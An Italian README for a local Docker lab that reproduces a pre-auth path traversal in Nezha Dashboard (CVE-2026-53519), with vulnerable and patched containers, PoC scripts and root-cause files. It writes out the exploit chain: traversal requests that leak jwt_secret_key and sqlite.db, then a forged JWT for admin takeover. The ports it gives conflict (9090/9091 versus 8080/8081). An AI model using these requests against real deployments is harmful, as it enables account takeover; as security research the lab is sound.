
Docker lab che riproduce CVE-2026-53519, un path traversal pre-auth in Nezha Dashboard che espone jwt_secret_key e consente la falsificazione di JWT e la presa di controllo dell'account admin.
Il lab riproduce la vulnerabilità pre-auth path traversal via /dashboard.. prefix confusion in
Nezha Dashboard, che porta alla fuga di jwt_secret_key -> forgiatura JWT -> takeover admin.
Ambiente Docker, separazione A/B per versione per confrontare vuln vs patched.
| Image | URL (loopback) | Risultato atteso |
|---|
| Vulnerable | ghcr.io/nezhahq/nezha:v2.0.12 | http://127.0.0.1:9090 | leak config.yaml, takeover admin |
| Patched | ghcr.io/nezhahq/nezha:v2.0.13 | http://127.0.0.1:9091 | bloccato (404) |
Entrambi bindano solo 127.0.0.1, non esposti sulla LAN. Login admin predefinito: admin / admin.
python) - per parsare sqlite.db leakato (con fallback se assente)# 1. Seed data + up 2 container (vuln 8080, patched 8081)
.\lab.ps1 reset
# 2. Smoke check rapido
.\lab.ps1 validate
# 3. Catena di exploit completa su VULN
powershell -ExecutionPolicy Bypass -File .\poc\poc-cve-2026-53519.ps1
# 4. Controllo su PATCHED (atteso: bloccato)
powershell -ExecutionPolicy Bypass -File .\poc\poc-cve-2026-53519.ps1 -Patched
# 5. Negative controls (perché solo questa variante causa il leak)
powershell -ExecutionPolicy Bypass -File .\poc\negative-controls.ps1
Comandi di gestione:
.\lab.ps1 start | stop | status | logs [vuln|patched]
GET /dashboard../data/config.yaml -> leak jwt_secret_key.
GET /dashboard../data/sqlite.db -> ottieni user id admin (id=1).{user_id:"1", ip:"", exp:<future>} con il secret leakato -> Authorization: Bearer <token>
-> GET /api/v1/profile (autenticazione) e GET /api/v1/user (endpoint solo-admin) -> admin takeover.Dettagli root cause: vedi analysis/ROOT_CAUSE.md e
analysis/vuln-vs-patch.diff.
Report completo: REPORT_CVE_2026_53519.md.
docker-compose.yml # A/B vuln (8080) vs patched (8081)
seed/config.yaml # seed jwt_secret_key fisso (deterministico)
seed/lab_canary.txt # canary per illustrare file read
lab.ps1 / lab-common.ps1 # gestione + helper (raw HTTP, forge JWT HS256)
poc/poc-cve-2026-53519.ps1 # catena di exploit completa
poc/negative-controls.ps1 # controllo delle varianti bloccate
poc/parse_users.py # parse sqlite.db leakato -> user id admin
analysis/ROOT_CAUSE.md # analisi + patch
analysis/vuln-vs-patch.diff # diff controller.go v2.0.12 -> v2.0.13
evidence/ # output di ogni esecuzione (leaked-config, token, userlist...)
Il lab è solo per ricerca/educazione in ambiente locale. jwt_secret_key in seed/config.yaml
è un valore fittizio, solo per demo. Non usare image/version vulnerabili in produzione.